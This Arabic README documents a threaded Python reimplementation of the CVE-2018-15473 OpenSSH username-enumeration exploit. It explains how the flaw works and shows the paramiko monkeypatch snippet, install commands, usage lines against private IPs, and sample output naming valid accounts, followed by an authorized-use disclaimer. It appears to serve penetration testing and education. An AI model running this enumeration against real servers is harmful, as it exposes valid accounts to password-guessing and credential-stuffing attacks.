
إعادة تنفيذ بلغة Python 3 للاستغلال الكلاسيكي CVE-2018-15473 الخاص بتعداد مستخدمي OpenSSH، مع توسيعه ليشمل تعدد الخيوط، ودعم قوائم الكلمات، والكشف التلقائي عن الثغرات، وترقيع الاستغلال الآمن للخيوط.
إعادة تنفيذ بلغة Python 3 للاستغلال الكلاسيكي CVE-2018-15473 لتعداد مستخدمي OpenSSH، مع إضافة تعدد الخيوط، ودعم قوائم الكلمات، والكشف التلقائي عن الثغرات، وتصحيح آمن للخيوط.
CVE-2018-15473 هي ثغرة تعداد مستخدمين تؤثر على إصدارات OpenSSH من 2.3 حتى 7.7.
تنشأ الثغرة من اختلاف دقيق في طريقة استجابة خادم OpenSSH لمحاولات المصادقة لأسماء المستخدمين الصالحة مقابل غير الصالحة. من خلال صياغة حزمة مصادقة بمفتاح عام مشوّهة، يمكن للمهاجم ملاحظة سلوك الخادم وتحديد ما إذا كان اسم المستخدم المعطى موجوداً على النظام — دون الحاجة إلى معرفة كلمة مرور المستخدم.
يمكن أن تكون هذه المعلومات خطوة أولى حاسمة في هجوم تخمين كلمات المرور الموجّه أو حشو الاعتمادات.
| التفاصيل | القيمة |
|---|---|
| معرّف CVE | CVE-2018-15473 |
| الإصدارات المتأثرة | OpenSSH 2.3 – 7.7 |
| درجة CVSS | 5.3 (متوسطة) |
| النوع | كشف المعلومات / تعداد المستخدمين |
| المصادقة المطلوبة | لا |
يعمل تدفق مصادقة OpenSSH عادةً على النحو التالي:
Client → MSG_SERVICE_REQUEST → Server
Client ← MSG_SERVICE_ACCEPT ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server
يستغل هذا الاستغلال مرحلة MSG_SERVICE_ACCEPT. عندما يرسل الخادم رسالة MSG_SERVICE_ACCEPT، يُفترض أن يضيف العميل حقلاً منطقياً (boolean) إلى حزمة MSG_USERAUTH_REQUEST اللاحقة. من خلال تعديل طريقة Message.add_boolean في paramiko لتصبح بلا تأثير (no-op)، ترسل الأداة حزمة مصادقة مشوّهة/مبتورة.
ثم يتصرف خادم OpenSSH بشكل مختلف اعتماداً على ما إذا كان اسم المستخدم موجوداً:
MSG_USERAUTH_FAILURE (اسم المستخدم غير موجود، فلا داعي للتحقق من المفتاح)AuthenticationException (حاول التحقق من المفتاح، مما يؤكد وجود المستخدم)تلتقط هذه الأداة هذين الردّين عبر معالجات paramiko المعدّلة (_parse_userauth_failure و _parse_service_accept) وتصنّف كل اسم مستخدم وفقاً لذلك.
يقوم إثبات المفهوم الأصلي بتعديل add_boolean بشكل دائم، مما يسبب حالة سباق (race condition) عند تشغيل خيوط متعددة في وقت واحد — تتداخل الخيوط في عمليات المصافحة الخاصة ببعضها، منتجة أخطاء SSH negotiation failed خاطئة. تقوم إعادة التنفيذ هذه بتغليف التعديل داخل threading.Lock()، مما يجعل التبديل ذرياً (atomic):
with _patch_lock:
real_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = _add_boolean_noop
try:
result = original_service_accept(auth_handler, m)
finally:
paramiko.message.Message.add_boolean = real_add_boolean
nmap للتحقق من أن الهدف يشغّل إصدار OpenSSH معرّضاً للثغرة قبل الفحصparamikopython-nmapnmap (ثنائي النظام، يجب أن يكون مثبتاً)git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473
# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate
# Install dependencies
pip install paramiko python-nmap
تأكد من تثبيت nmap على نظامك:
# Debian/Ubuntu/Kali
sudo apt install nmap
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target
positional arguments:
target Target IP address
options:
-h, --help show this help message and exit
-p, --port PORT SSH port (default: 22)
-t, --threads THREADS Threads for wordlist mode (default: 3)
-u USERNAME Single username to check
-U WORDLIST Path to wordlist file
فحص اسم مستخدم واحد:
python main.py 192.168.1.10 -u root
تعداد قائمة كلمات بالخيوط الافتراضية:
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt
تعداد بعدد خيوط ومنفذ مخصصين:
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222
مثال على المخرجات:
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473
[*] Loaded : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target : 192.168.56.109:22
[*] Threads : 10
[+] root <- VALID
[+] service <- VALID
[-] guest
[-] admin
...
─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked : 12 usernames
[*] Threads : 10
[+] Valid (2) : ['root', 'service']
[-] Invalid (8)
[!] Errors (2) : ['postgres', 'temp']
هذه الأداة هي إعادة تنفيذ وتوسيع بلغة Python 3 لاستغلال إثبات المفهوم الأصلي. يعود الفضل الكامل في اكتشاف وتوثيق هذه الثغرة إلى الباحثين الأصليين:
| الدور |
|---|
الاستغلال الأصلي: https://leapsecurity.io
تضيف إعادة التنفيذ هذه:
هذه الأداة مخصصة لأغراض تعليمية واختبار الاختراق المصرح به فقط.
استخدام هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها هو أمر غير قانوني وغير أخلاقي.
لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام لهذا البرنامج.
التزم دائماً بالإفصاح المسؤول.
| الاسم / المعرف |
|---|
| مؤلف إثبات المفهوم الأصلي | Leap Security (@LeapSecurity) |
| أبحاث الثغرة | Matthew Daley |
| أبحاث الثغرة | Justin Gardner |
| أبحاث الثغرة | Lee David Painter |